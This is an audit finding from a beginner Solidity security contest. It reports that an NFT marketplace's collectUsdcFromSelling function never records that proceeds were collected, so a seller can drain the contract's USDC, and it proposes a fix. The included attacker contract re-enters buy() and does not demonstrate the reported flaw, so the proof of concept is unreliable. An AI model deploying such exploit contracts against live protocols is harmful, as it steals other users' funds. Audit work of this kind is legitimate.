NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

collectUsdcFromSelling has no collection guard, allowing seller to drain contract

Author Revealed upon completion

Root + Impact

collectUsdcFromSelling has no collection guard, allowing seller to drain contract

When a sale completes via buy(), the USDC sits in the contract awaiting the seller to call collectUsdcFromSelling(). However, the function never marks the listing as collected, meaning the seller can call it repeatedly and drain the contract.


function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");

uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees); // @> no-op, does nothing
usdc.safeTransfer(msg.sender, amountToSeller); // @> no state cleared after this
// @> no flag set — function is re-enterable indefinitely

Risk

Likelihood:

  • Any seller whose listing has completed sale can immediately exploit this by calling the function multiple times in the same transaction or across blocks

  • There is no off-chain protection either — the contract state never changes after the first call, so every subsequent call passes all checks identically

Impact:

  • Seller drains the entire USDC balance of the contract, stealing funds belonging to other sellers and collateral belonging to other minters

  • Protocol fees accumulated in totalFeesCollected are inflated in accounting but the underlying USDC is fully drained

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;
import "./NFTDealers.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract MaliciousBuyer is IERC721Receiver {
NFTDealers public nftDealers;
address public victimSeller;
uint256 public targetListingId;
uint256 public attackCount = 0;
constructor(address _nftDealers) {
nftDealers = NFTDealers(_nftDealers);
}
// Approve USDC spending first, then call this
function attack(uint256 listingId, address _victimSeller) external {
targetListingId = listingId;
victimSeller = _victimSeller;
// Get the listing details
( , uint32 price, , , ) = nftDealers.s_listings(listingId);
// Approve USDC transfer
IERC20 usdc = nftDealers.usdc();
usdc.approve(address(nftDealers), price);
// Trigger the buy
nftDealers.buy{value: 0}(listingId);
}
// This gets called when NFT is received
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
attackCount++;
// Only reenter on first receive
if (attackCount == 1) {
// Try to buy the same NFT again (should fail if properly protected)
IERC20 usdc = nftDealers.usdc();
// Get the listing - it's still active because state not updated yet!
( , uint32 price, , , bool isActive) = nftDealers.s_listings(targetListingId);
if (isActive) {
// We can buy it again! This is the vulnerability
usdc.approve(address(nftDealers), price);
nftDealers.buy{value: 0}(targetListingId);
}
}
return this.onERC721Received.selector;
}
}

Recommended Mitigation

-
+ mapping(uint256 => bool) public proceedsCollected;
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!proceedsCollected[_listingId], "Proceeds already collected");
+ proceedsCollected[_listingId] = true;
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
+

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!